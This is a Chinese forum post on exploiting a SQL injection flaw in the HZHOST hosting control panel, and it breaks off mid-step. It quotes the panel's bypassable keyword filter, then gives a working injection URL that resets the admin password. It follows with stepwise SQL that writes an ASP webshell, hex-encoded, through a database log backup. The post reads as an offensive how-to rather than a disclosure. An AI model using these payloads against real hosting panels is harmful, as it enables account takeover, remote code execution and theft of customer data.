摘自:bbs.tian6.com 早前一段时间的东东了,相关文章见: /Article/Search.asp?Field=Title&ClassID=&keyword=hzhost 前2天看XX兵写了那么多文章。。心里痒痒了。所以看了看代码 漏洞出在 hzhost_master\control\svr_mng/svr_lst.aspelseif querytype=5 then qu1=trim(SafeRequest("qu1")) if qu1="" then call errorpage(-2,"对不起,请选择参数!") end if qstring=" and s_regstt="&qu1&" "query="select * from v_svrlst where (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%') "&qstring&qstring2&" order by "&orderstring意思是如果querytype=5 那么对于qu1 进行安全过滤。。然后把这个值赋予 qstring, 但是这里qstring=" and s_regstt="&qu1&" qu1并没有做用''加起来.然后在查询的时候又没有用‘’将qstring和qstring2包起来.所以导致了漏洞的发生 尽管有SAFEREQUEST的存在但是看过XX兵文章的人知道HZHOST的saferequest有点问题.Function SafeRequestform(ParaName) Dim ParaValue ParaValue=request.form(ParaName) if IsNumeric(ParaValue) then SafeRequestform=ParaValue exit Function else ParaValuetemp=lcase(ParaValue) tempvalue="select |insert |delete from|'|count(|drop table|update |truncate |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from" temps=split(tempvalue,"|") for mycount=0 to ubound(temps) if Instr(ParaValuetemp,temps(mycount)) > 0 then call errorpage(-2,"非法请求!!!") response.end end if尽管过滤了UPDATE等字符但是却没有过滤 * / % / -- / ; 我们可以用TAB 回车等等饶过过滤www.xxx.com/control/svr_mng/svr_lst.asp?querytype=5&ordernum=22&qu1=1;UPDATE%09[memlst]%20SET%20u_pss=0x6531306164633339343962613539616262653536653035376632306638383365%20WHERE%20u_nme=0x61646D696E;select%09*%09from%09v_ot2lst%20where%20s_regstt=1;select%09*%09from%09v_ot2lst%20where%20s_regstt=1上面的语句是将admin密码UPDATE到123456,但是这里要注意的是我们在UPDATE的时候首先要自己先注册个用户。然后用你注册的用户点登陆后再进行UPDATE。我一开始就是卡在这里谢谢RACLE的指点 关于WEBSHELL我引用XX兵的备份差异。。我估计可以。这个是在hzhost/hzhost_master、生成个密码为a的1.asp第 一 步:create table [dbo].[shit_tmp] ([cmd] [image])--第 二 步declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--第 三 步insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--第 四 步declare @a sysname,@s nvarchar%09(